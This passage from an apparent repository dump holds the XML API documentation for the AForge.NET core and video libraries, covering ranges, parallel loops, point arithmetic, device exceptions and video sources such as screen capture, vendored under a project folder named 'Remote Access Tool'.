check.</param>\n             <param name=\"range2\">Second range to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if min/max values of specified\n             ranges are not equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Range.Equals(System.Object)\">\n            <summary>\n            Check if this instance of <see cref=\"T:AForge.Range\"/> equal to the specified one.\n            </summary>\n            \n            <param name=\"obj\">Another range to check equalty to.</param>\n            \n            <returns>Return <see langword=\"true\"/> if objects are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Range.GetHashCode\">\n            <summary>\n            Get hash code for this instance.\n            </summary>\n            \n            <returns>Returns the hash code for this instance.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Range.ToString\">\n             <summary>\n             Get string representation of the class.\n             </summary>\n             \n             <returns>Returns string, which contains min/max values of the range in readable form.</returns>\n            \n        </member>\n        <member name=\"P:AForge.Range.Min\">\n            <summary>\n            Minimum value of the range.\n            </summary>\n            \n            <remarks><para>The property represents minimum value (left side limit) or the range -\n            [<b>min</b>, max].</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Range.Max\">\n            <summary>\n            Maximum value of the range.\n            </summary>\n            \n            <remarks><para>The property represents maximum value (right side limit) or the range -\n            [min, <b>max</b>].</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Range.Length\">\n            <summary>\n            Length of the range (deffirence between maximum and minimum values).\n            </summary>\n        </member>\n        <member name=\"T:AForge.Parallel\">\n             <summary>\n             The class provides support for parallel computations, paralleling loop's iterations.\n             </summary>\n             \n             <remarks><para>The class allows to parallel loop's iteration computing them in separate threads,\n             what allows their simultaneous execution on multiple CPUs/cores.\n             </para></remarks>\n            \n        </member>\n        <member name=\"M:AForge.Parallel.For(System.Int32,System.Int32,AForge.Parallel.ForLoopBody)\">\n            <summary>\n            Executes a for-loop in which iterations may run in parallel. \n            </summary>\n            \n            <param name=\"start\">Loop's start index.</param>\n            <param name=\"stop\">Loop's stop index.</param>\n            <param name=\"loopBody\">Loop's body.</param>\n            \n            <remarks><para>The method is used to parallel for-loop running its iterations in\n            different threads. The <b>start</b> and <b>stop</b> parameters define loop's\n            starting and ending loop's indexes. The number of iterations is equal to <b>stop - start</b>.\n            </para>\n            \n            <para>Sample usage:</para>\n            <code>\n            Parallel.For( 0, 20, delegate( int i )\n            // which is equivalent to\n            // for ( int i = 0; i &lt; 20; i++ )\n            {\n                System.Diagnostics.Debug.WriteLine( \"Iteration: \" + i );\n                // ...\n            } );\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Parallel.ThreadsCount\">\n            <summary>\n            Number of threads used for parallel computations.\n            </summary>\n            \n            <remarks><para>The property sets how many worker threads are created for paralleling\n            loops' computations.</para>\n            \n            <para>By default the property is set to number of CPU's in the system\n            (see <see cref=\"P:System.Environment.ProcessorCount\"/>).</para>\n            </remarks>\n            \n        </member>\n        <member name=\"T:AForge.Parallel.ForLoopBody\">\n            <summary>\n            Delegate defining for-loop's body.\n            </summary>\n            \n            <param name=\"index\">Loop's index.</param>\n            \n        </member>\n        <member name=\"T:AForge.SystemTools\">\n            <summary>\n            Set of systems tools.\n            </summary>\n            \n            <remarks><para>The class is a container of different system tools, which are used\n            across the framework. Some of these tools are platform specific, so their\n            implementation is different on different platform, like .NET and Mono.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.SystemTools.CopyUnmanagedMemory(System.IntPtr,System.IntPtr,System.Int32)\">\n             <summary>\n             Copy block of unmanaged memory.\n             </summary>\n             \n             <param name=\"dst\">Destination pointer.</param>\n             <param name=\"src\">Source pointer.</param>\n             <param name=\"count\">Memory block's length to copy.</param>\n             \n             <returns>Return's value of <paramref name=\"dst\"/> - pointer to destination.</returns>\n             \n             <remarks><para>This function is required because of the fact that .NET does\n             not provide any way to copy unmanaged blocks, but provides only methods to\n             copy from unmanaged memory to managed memory and vise versa.</para></remarks>\n            \n        </member>\n        <member name=\"M:AForge.SystemTools.CopyUnmanagedMemory(System.Byte*,System.Byte*,System.Int32)\">\n            <summary>\n            Copy block of unmanaged memory.\n            </summary>\n            \n            <param name=\"dst\">Destination pointer.</param>\n            <param name=\"src\">Source pointer.</param>\n            <param name=\"count\">Memory block's length to copy.</param>\n            \n            <returns>Return's value of <paramref name=\"dst\"/> - pointer to destination.</returns>\n            \n            <remarks><para>This function is required because of the fact that .NET does\n            not provide any way to copy unmanaged blocks, but provides only methods to\n            copy from unmanaged memory to managed memory and vise versa.</para></remarks>\n            \n        </member>\n        <member name=\"M:AForge.SystemTools.SetUnmanagedMemory(System.IntPtr,System.Int32,System.Int32)\">\n            <summary>\n            Fill memory region with specified value.\n            </summary>\n            \n            <param name=\"dst\">Destination pointer.</param>\n            <param name=\"filler\">Filler byte's value.</param>\n            <param name=\"count\">Memory block's length to fill.</param>\n            \n            <returns>Return's value of <paramref name=\"dst\"/> - pointer to destination.</returns>\n            \n        </member>\n        <member name=\"M:AForge.SystemTools.SetUnmanagedMemory(System.Byte*,System.Int32,System.Int32)\">\n            <summary>\n            Fill memory region with specified value.\n            </summary>\n            \n            <param name=\"dst\">Destination pointer.</param>\n            <param name=\"filler\">Filler byte's value.</param>\n            <param name=\"count\">Memory block's length to fill.</param>\n            \n            <returns>Return's value of <paramref name=\"dst\"/> - pointer to destination.</returns>\n            \n        </member>\n        <member name=\"T:AForge.ConnectionFailedException\">\n            <summary>\n            Connection failed exception.\n            </summary>\n            \n            <remarks><para>The exception is thrown in the case if connection to device\n            has failed.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.ConnectionFailedException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.ConnectionFailedException\"/> class.\n            </summary>\n            \n            <param name=\"message\">Exception's message.</param>\n            \n        </member>\n        <member name=\"T:AForge.ConnectionLostException\">\n            <summary>\n            Connection lost exception.\n            </summary>\n            \n            <remarks><para>The exception is thrown in the case if connection to device\n            is lost. When the exception is caught, user may need to reconnect to the device.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.ConnectionLostException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.ConnectionLostException\"/> class.\n            </summary>\n            \n            <param name=\"message\">Exception's message.</param>\n            \n        </member>\n        <member name=\"T:AForge.NotConnectedException\">\n            <summary>\n            Not connected exception.\n            </summary>\n            \n            <remarks><para>The exception is thrown in the case if connection to device\n            is not established, but user requests for its services.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.NotConnectedException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.NotConnectedException\"/> class.\n            </summary>\n            \n            <param name=\"message\">Exception's message.</param>\n            \n        </member>\n        <member name=\"T:AForge.DeviceBusyException\">\n            <summary>\n            Device busy exception.\n            </summary>\n            \n            <remarks><para>The exception is thrown in the case if access to certain device\n            is not available due to the fact that it is currently busy handling other request/connection.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.DeviceBusyException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.DeviceBusyException\"/> class.\n            </summary>\n            \n            <param name=\"message\">Exception's message.</param>\n            \n        </member>\n        <member name=\"T:AForge.DeviceErrorException\">\n             <summary>\n             Device error exception.\n             </summary>\n             \n             <remarks><para>The exception is thrown in the case if some error happens with a device, which\n             may need to be reported to user.</para></remarks>\n            \n        </member>\n        <member name=\"M:AForge.DeviceErrorException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.DeviceErrorException\"/> class.\n            </summary>\n            \n            <param name=\"message\">Exception's message.</param>\n            \n        </member>\n        <member name=\"T:AForge.DoublePoint\">\n            <summary>\n            Structure for representing a pair of coordinates of double type.\n            </summary>\n            \n            <remarks><para>The structure is used to store a pair of floating point\n            coordinates with double precision.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // assigning coordinates in the constructor\n            DoublePoint p1 = new DoublePoint( 10, 20 );\n            // creating a point and assigning coordinates later\n            DoublePoint p2;\n            p2.X = 30;\n            p2.Y = 40;\n            // calculating distance between two points\n            double distance = p1.DistanceTo( p2 );\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"F:AForge.DoublePoint.X\">\n            <summary> \n            X coordinate.\n            </summary> \n            \n        </member>\n        <member name=\"F:AForge.DoublePoint.Y\">\n            <summary> \n            Y coordinate.\n            </summary> \n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.#ctor(System.Double,System.Double)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.DoublePoint\"/> structure.\n            </summary>\n            \n            <param name=\"x\">X axis coordinate.</param>\n            <param name=\"y\">Y axis coordinate.</param>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.DistanceTo(AForge.DoublePoint)\">\n            <summary>\n            Calculate Euclidean distance between two points.\n            </summary>\n            \n            <param name=\"anotherPoint\">Point to calculate distance to.</param>\n            \n            <returns>Returns Euclidean distance between this point and\n            <paramref name=\"anotherPoint\"/> points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.SquaredDistanceTo(AForge.DoublePoint)\">\n            <summary>\n            Calculate squared Euclidean distance between two points.\n            </summary>\n            \n            <param name=\"anotherPoint\">Point to calculate distance to.</param>\n            \n            <returns>Returns squared Euclidean distance between this point and\n            <paramref name=\"anotherPoint\"/> points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Addition(AForge.DoublePoint,AForge.DoublePoint)\">\n            <summary>\n            Addition operator - adds values of two points.\n            </summary>\n            \n            <param name=\"point1\">First point for addition.</param>\n            <param name=\"point2\">Second point for addition.</param>\n            \n            <returns>Returns new point which coordinates equal to sum of corresponding\n            coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.Add(AForge.DoublePoint,AForge.DoublePoint)\">\n            <summary>\n            Addition operator - adds values of two points.\n            </summary>\n            \n            <param name=\"point1\">First point for addition.</param>\n            <param name=\"point2\">Second point for addition.</param>\n            \n            <returns>Returns new point which coordinates equal to sum of corresponding\n            coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Subtraction(AForge.DoublePoint,AForge.DoublePoint)\">\n             <summary>\n             Subtraction operator - subtracts values of two points.\n             </summary>\n             \n             <param name=\"point1\">Point to subtract from.</param>\n             <param name=\"point2\">Point to subtract.</param>\n             \n             <returns>Returns new point which coordinates equal to difference of corresponding\n             coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.Subtract(AForge.DoublePoint,AForge.DoublePoint)\">\n             <summary>\n             Subtraction operator - subtracts values of two points.\n             </summary>\n             \n             <param name=\"point1\">Point to subtract from.</param>\n             <param name=\"point2\">Point to subtract.</param>\n             \n             <returns>Returns new point which coordinates equal to difference of corresponding\n             coordinates of specified points.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Addition(AForge.DoublePoint,System.Double)\">\n            <summary>\n            Addition operator - adds scalar to the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to increase coordinates of.</param>\n            <param name=\"valueToAdd\">Value to add to coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point increased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.Add(AForge.DoublePoint,System.Double)\">\n            <summary>\n            Addition operator - adds scalar to the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to increase coordinates of.</param>\n            <param name=\"valueToAdd\">Value to add to coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point increased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Subtraction(AForge.DoublePoint,System.Double)\">\n            <summary>\n            Subtraction operator - subtracts scalar from the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to decrease coordinates of.</param>\n            <param name=\"valueToSubtract\">Value to subtract from coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point decreased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.Subtract(AForge.DoublePoint,System.Double)\">\n            <summary>\n            Subtraction operator - subtracts scalar from the specified point.\n            </summary>\n            \n            <param name=\"point\">Point to decrease coordinates of.</param>\n            <param name=\"valueToSubtract\">Value to subtract from coordinates of the specified point.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point decreased by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Multiply(AForge.DoublePoint,System.Double)\">\n             <summary>\n             Multiplication operator - multiplies coordinates of the specified point by scalar value.\n             </summary>\n             \n             <param name=\"point\">Point to multiply coordinates of.</param>\n             <param name=\"factor\">Multiplication factor.</param>\n             \n             <returns>Returns new point which coordinates equal to coordinates of\n             the specified point multiplied by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.Multiply(AForge.DoublePoint,System.Double)\">\n             <summary>\n             Multiplication operator - multiplies coordinates of the specified point by scalar value.\n             </summary>\n             \n             <param name=\"point\">Point to multiply coordinates of.</param>\n             <param name=\"factor\">Multiplication factor.</param>\n             \n             <returns>Returns new point which coordinates equal to coordinates of\n             the specified point multiplied by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Division(AForge.DoublePoint,System.Double)\">\n            <summary>\n            Division operator - divides coordinates of the specified point by scalar value.\n            </summary>\n            \n            <param name=\"point\">Point to divide coordinates of.</param>\n            <param name=\"factor\">Division factor.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point divided by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.Divide(AForge.DoublePoint,System.Double)\">\n            <summary>\n            Division operator - divides coordinates of the specified point by scalar value.\n            </summary>\n            \n            <param name=\"point\">Point to divide coordinates of.</param>\n            <param name=\"factor\">Division factor.</param>\n            \n            <returns>Returns new point which coordinates equal to coordinates of\n            the specified point divided by specified value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Equality(AForge.DoublePoint,AForge.DoublePoint)\">\n             <summary>\n             Equality operator - checks if two points have equal coordinates.\n             </summary>\n             \n             <param name=\"point1\">First point to check.</param>\n             <param name=\"point2\">Second point to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if coordinates of specified\n             points are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Inequality(AForge.DoublePoint,AForge.DoublePoint)\">\n             <summary>\n             Inequality operator - checks if two points have different coordinates.\n             </summary>\n             \n             <param name=\"point1\">First point to check.</param>\n             <param name=\"point2\">Second point to check.</param>\n             \n             <returns>Returns <see langword=\"true\"/> if coordinates of specified\n             points are not equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.Equals(System.Object)\">\n            <summary>\n            Check if this instance of <see cref=\"T:AForge.DoublePoint\"/> equal to the specified one.\n            </summary>\n            \n            <param name=\"obj\">Another point to check equalty to.</param>\n            \n            <returns>Return <see langword=\"true\"/> if objects are equal.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.GetHashCode\">\n            <summary>\n            Get hash code for this instance.\n            </summary>\n            \n            <returns>Returns the hash code for this instance.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Explicit(AForge.DoublePoint)~AForge.IntPoint\">\n            <summary>\n            Explicit conversion to <see cref=\"T:AForge.IntPoint\"/>.\n            </summary>\n            \n            <param name=\"point\">Double precision point to convert to integer point.</param>\n            \n            <returns>Returns new integer point which coordinates are explicitly converted\n            to integers from coordinates of the specified double precision point by\n            casting double values to integers value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.op_Explicit(AForge.DoublePoint)~AForge.Point\">\n            <summary>\n            Explicit conversion to <see cref=\"T:AForge.Point\"/>.\n            </summary>\n            \n            <param name=\"point\">Double precision point to convert to single precision point.</param>\n            \n            <returns>Returns new single precision point which coordinates are explicitly converted\n            to floats from coordinates of the specified double precision point by\n            casting double values to float value.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.Round\">\n            <summary>\n            Rounds the double precision point.\n            </summary>\n            \n            <returns>Returns new integer point, which coordinates equal to whole numbers\n            nearest to the corresponding coordinates of the double precision point.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.ToString\">\n             <summary>\n             Get string representation of the class.\n             </summary>\n             \n             <returns>Returns string, which contains values of the point in readable form.</returns>\n            \n        </member>\n        <member name=\"M:AForge.DoublePoint.EuclideanNorm\">\n            <summary>\n            Calculate Euclidean norm of the vector comprised of the point's \n            coordinates - distance from (0, 0) in other words.\n            </summary>\n            \n            <returns>Returns point's distance from (0, 0) point.</returns>\n            \n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/AForge.Video.2.2.5/lib/AForge.Video.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>AForge.Video</name>\n    </assembly>\n    <members>\n        <member name=\"T:AForge.Video.AsyncVideoSource\">\n            <summary>\n            Proxy video source for asynchronous processing of another nested video source.\n            </summary>\n            \n            <remarks><para>The class represents a simple proxy, which wraps the specified <see cref=\"P:AForge.Video.AsyncVideoSource.NestedVideoSource\"/>\n            with the aim of asynchronous processing of received video frames. The class intercepts <see cref=\"E:AForge.Video.AsyncVideoSource.NewFrame\"/>\n            event from the nested video source and fires it to clients from its own thread, which is different from the thread\n            used by nested video source for video acquisition. This allows clients to perform processing of video frames\n            without blocking video acquisition thread, which continue to run and acquire next video frame while current is still\n            processed.</para>\n            \n            <para>For example, let’s suppose that it takes 100 ms for the nested video source to acquire single frame, so the original\n            frame rate is 10 frames per second. Also let’s assume that we have an image processing routine, which also takes\n            100 ms to process a single frame. If the acquisition and processing are done sequentially, then resulting\n            frame rate will drop to 5 frames per second. However, if doing both in parallel, then there is a good chance to\n            keep resulting frame rate equal (or close) to the original frame rate.</para>\n            \n            <para>The class provides a bonus side effect - easer debugging of image processing routines, which are put into\n            <see cref=\"E:AForge.Video.AsyncVideoSource.NewFrame\"/> event handler. In many cases video source classes fire their <see cref=\"E:AForge.Video.IVideoSource.NewFrame\"/>\n            event from a try/catch block, which makes it very hard to spot error made in user's code - the catch block simply\n            hides exception raised in user’s code. The <see cref=\"T:AForge.Video.AsyncVideoSource\"/> does not have any try/catch blocks around\n            firing of <see cref=\"E:AForge.Video.AsyncVideoSource.NewFrame\"/> event, so always user gets exception in the case it comes from his code. At the same time\n            nested video source is not affected by the user's exception, since it runs in different thread.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // usage of AsyncVideoSource is the same as usage of any\n            // other video source class, so code change is very little\n            \n            // create nested video source, for example JPEGStream\n            JPEGStream stream = new JPEGStream( \"some url\" );\n            // create async video source\n            AsyncVideoSource asyncSource = new AsyncVideoSource( stream );\n            // set NewFrame event handler\n            asyncSource.NewFrame += new NewFrameEventHandler( video_NewFrame );\n            // start the video source\n            asyncSource.Start( );\n            // ...\n            \n            private void video_NewFrame( object sender, NewFrameEventArgs eventArgs )\n            {\n                // get new frame\n                Bitmap bitmap = eventArgs.Frame;\n                // process the frame\n            }\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.IVideoSource\">\n            <summary>\n            Video source interface.\n            </summary>\n            \n            <remarks>The interface describes common methods for different type of video sources.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.IVideoSource.Start\">\n            <summary>\n            Start video source.\n            </summary>\n            \n            <remarks>Starts video source and return execution to caller. Video source\n            object creates background thread and notifies about new frames with the\n            help of <see cref=\"E:AForge.Video.IVideoSource.NewFrame\"/> event.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.IVideoSource.SignalToStop\">\n            <summary>\n            Signal video source to stop its work.\n            </summary>\n            \n            <remarks>Signals video source to stop its background thread, stop to\n            provide new frames and free resources.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.IVideoSource.WaitForStop\">\n            <summary>\n            Wait for video source has stopped.\n            </summary>\n            \n            <remarks>Waits for video source stopping after it was signalled to stop using\n            <see cref=\"M:AForge.Video.IVideoSource.SignalToStop\"/> method.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.IVideoSource.Stop\">\n            <summary>\n            Stop video source.\n            </summary>\n            \n            <remarks>Stops video source aborting its thread.</remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.IVideoSource.NewFrame\">\n            <summary>\n            New frame event.\n            </summary>\n            \n            <remarks><para>This event is used to notify clients about new available video frame.</para>\n            \n            <para><note>Since video source may have multiple clients, each client is responsible for\n            making a copy (cloning) of the passed video frame, but video source is responsible for\n            disposing its own original copy after notifying of clients.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.IVideoSource.VideoSourceError\">\n            <summary>\n            Video source error event.\n            </summary>\n            \n            <remarks>This event is used to notify clients about any type of errors occurred in\n            video source object, for example internal exceptions.</remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.IVideoSource.PlayingFinished\">\n            <summary>\n            Video playing finished event.\n            </summary>\n            \n            <remarks><para>This event is used to notify clients that the video playing has finished.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.IVideoSource.Source\">\n            <summary>\n            Video source.\n            </summary>\n            \n            <remarks>The meaning of the property depends on particular video source.\n            Depending on video source it may be a file name, URL or any other string\n            describing the video source.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.IVideoSource.FramesReceived\">\n            <summary>\n            Received frames count.\n            </summary>\n            \n            <remarks>Number of frames the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.IVideoSource.BytesReceived\">\n            <summary>\n            Received bytes count.\n            </summary>\n            \n            <remarks>Number of bytes the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.IVideoSource.IsRunning\">\n            <summary>\n            State of the video source.\n            </summary>\n            \n            <remarks>Current state of video source object - running or not.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.AsyncVideoSource.#ctor(AForge.Video.IVideoSource)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.AsyncVideoSource\"/> class.\n            </summary>\n            \n            <param name=\"nestedVideoSource\">Nested video source which is the target for asynchronous processing.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.AsyncVideoSource.#ctor(AForge.Video.IVideoSource,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.AsyncVideoSource\"/> class.\n            </summary>\n            \n            <param name=\"nestedVideoSource\">Nested video source which is the target for asynchronous processing.</param>\n            <param name=\"skipFramesIfBusy\">Specifies if the object should skip frames from the nested video source\n            in the case if it is still busy processing the previous video frame.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.AsyncVideoSource.Start\">\n            <summary>\n            Start video source.\n            </summary>\n            \n            <remarks><para>Starts the nested video source and returns execution to caller. This object creates\n            an extra thread which is used to fire <see cref=\"E:AForge.Video.AsyncVideoSource.NewFrame\"/> events, so the image processing could be\n            done on another thread without blocking video acquisition thread.</para></remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.AsyncVideoSource.SignalToStop\">\n             <summary>\n             Signal video source to stop its work.\n             </summary>\n             \n             <remarks><para>Signals video source to stop its background thread, stop to\n             provide new frames and free resources.</para></remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.AsyncVideoSource.WaitForStop\">\n             <summary>\n             Wait for video source has stopped.\n             </summary>\n             \n             <remarks><para>Waits for video source stopping after it was signalled to stop using\n             <see cref=\"M:AForge.Video.AsyncVideoSource.SignalToStop\"/> method.</para></remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.AsyncVideoSource.Stop\">\n            <summary>\n            Stop video source.\n            </summary>\n            \n            <remarks><para>Stops nested video source by calling its <see cref=\"M:AForge.Video.IVideoSource.Stop\"/> method.\n            See documentation of the particular video source for additional details.</para></remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.AsyncVideoSource.NewFrame\">\n            <summary>\n            New frame event.\n            </summary>\n            \n            <remarks><para>Notifies clients about new available frame from video source.</para>\n            \n            <para><note>This event is fired from a different thread other than the video acquisition thread created\n            by <see cref=\"P:AForge.Video.AsyncVideoSource.NestedVideoSource\"/>. This allows nested video frame to continue acquisition of the next\n            video frame while clients perform processing of the current video frame.</note></para>\n            \n            <para><note>Since video source may have multiple clients, each client is responsible for\n            making a copy (cloning) of the passed video frame, because the video source disposes its\n            own original copy after notifying of clients.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.AsyncVideoSource.VideoSourceError\">\n             <summary>\n             Video source error event.\n             </summary>\n             \n             <remarks><para>This event is used to notify clients about any type of errors occurred in\n             video source object, for example internal exceptions.</para>\n             \n             <para><note>Unlike <see cref=\"E:AForge.Video.AsyncVideoSource.NewFrame\"/> event, this event is simply redirected to the corresponding\n             event of the <see cref=\"P:AForge.Video.AsyncVideoSource.NestedVideoSource\"/>, so it is fired from the thread of the nested video source.</note></para>\n             </remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.AsyncVideoSource.PlayingFinished\">\n            <summary>\n            Video playing finished event.\n            </summary>\n            \n            <remarks><para>This event is used to notify clients that the video playing has finished.</para>\n            \n            <para><note>Unlike <see cref=\"E:AForge.Video.AsyncVideoSource.NewFrame\"/> event, this event is simply redirected to the corresponding\n            event of the <see cref=\"P:AForge.Video.AsyncVideoSource.NestedVideoSource\"/>, so it is fired from the thread of the nested video source.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.AsyncVideoSource.NestedVideoSource\">\n            <summary>\n            Nested video source which is the target for asynchronous processing.\n            </summary>\n            \n            <remarks><para>The property is set through the class constructor.</para>\n            \n            <para>All calls to this object are actually redirected to the nested video source. The only\n            exception is the <see cref=\"E:AForge.Video.AsyncVideoSource.NewFrame\"/> event, which is handled differently. This object gets\n            <see cref=\"E:AForge.Video.IVideoSource.NewFrame\"/> event from the nested class and then fires another\n            <see cref=\"E:AForge.Video.AsyncVideoSource.NewFrame\"/> event, but from a different thread.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.AsyncVideoSource.SkipFramesIfBusy\">\n            <summary>\n            Specifies if the object should skip frames from the nested video source when it is busy. \n            </summary>\n            \n            <remarks><para>Specifies if the object should skip frames from the nested video source\n            in the case if it is still busy processing the previous video frame in its own thread.</para>\n            \n            <para>Default value is set to <see langword=\"false\"/>.</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.AsyncVideoSource.Source\">\n            <summary>\n            Video source string.\n            </summary>\n            \n            <remarks><para>The property is redirected to the corresponding property of <see cref=\"P:AForge.Video.AsyncVideoSource.NestedVideoSource\"/>,\n            so check its documentation to find what it means.</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.AsyncVideoSource.FramesReceived\">\n            <summary>\n            Received frames count.\n            </summary>\n            \n            <remarks><para>Number of frames the <see cref=\"P:AForge.Video.AsyncVideoSource.NestedVideoSource\">nested video source</see> received from\n            the moment of the last access to the property.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.AsyncVideoSource.BytesReceived\">\n             <summary>\n             Received bytes count.\n             </summary>\n             \n             <remarks><para>Number of bytes the <see cref=\"P:AForge.Video.AsyncVideoSource.NestedVideoSource\">nested video source</see> received from\n             the moment of the last access to the property.</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.AsyncVideoSource.FramesProcessed\">\n            <summary>\n            Processed frames count.\n            </summary>\n            \n            <remarks><para>The property keeps the number of processed video frames since the last access to this property. \n            </para>\n            \n            <para>The value of this property equals to <see cref=\"P:AForge.Video.AsyncVideoSource.FramesReceived\"/> in most cases if the\n            <see cref=\"P:AForge.Video.AsyncVideoSource.SkipFramesIfBusy\"/> property is set to <see langword=\"false\"/> - every received frame gets processed\n            sooner or later. However, if the <see cref=\"P:AForge.Video.AsyncVideoSource.SkipFramesIfBusy\"/> property is set to <see langword=\"true\"/>,\n            then value of this property may be lower than the value of the <see cref=\"P:AForge.Video.AsyncVideoSource.FramesReceived\"/> property, which\n            means that nested video source performs acquisition faster than client perform processing of the received frame\n            and some frame are skipped from processing.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.AsyncVideoSource.IsRunning\">\n            <summary>\n            State of the video source.\n            </summary>\n            \n            <remarks><para>Current state of the video source object - running or not.</para></remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.ScreenCaptureStream\">\n            <summary>\n            Screen capture video source.\n            </summary>\n            \n            <remarks><para>The video source constantly captures the desktop screen.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // get entire desktop area size\n            Rectangle screenArea = Rectangle.Empty;\n            foreach ( System.Windows.Forms.Screen screen in \n                      System.Windows.Forms.Screen.AllScreens )\n            {\n                screenArea = Rectangle.Union( screenArea, screen.Bounds );\n            }\n                \n            // create screen capture video source\n            ScreenCaptureStream stream = new ScreenCaptureStream( screenArea );\n            \n            // set NewFrame event handler\n            stream.NewFrame += new NewFrameEventHandler( video_NewFrame );\n            \n            // start the video source\n            stream.Start( );\n            \n            // ...\n            // signal to stop\n            stream.SignalToStop( );\n            // ...\n            \n            private void video_NewFrame( object sender, NewFrameEventArgs eventArgs )\n            {\n                // get new frame\n                Bitmap bitmap = eventArgs.Frame;\n                // process the frame\n            }\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.ScreenCaptureStream.#ctor(System.Drawing.Rectangle)\">\n            <summary>\n            Initializes a new instance of the <see 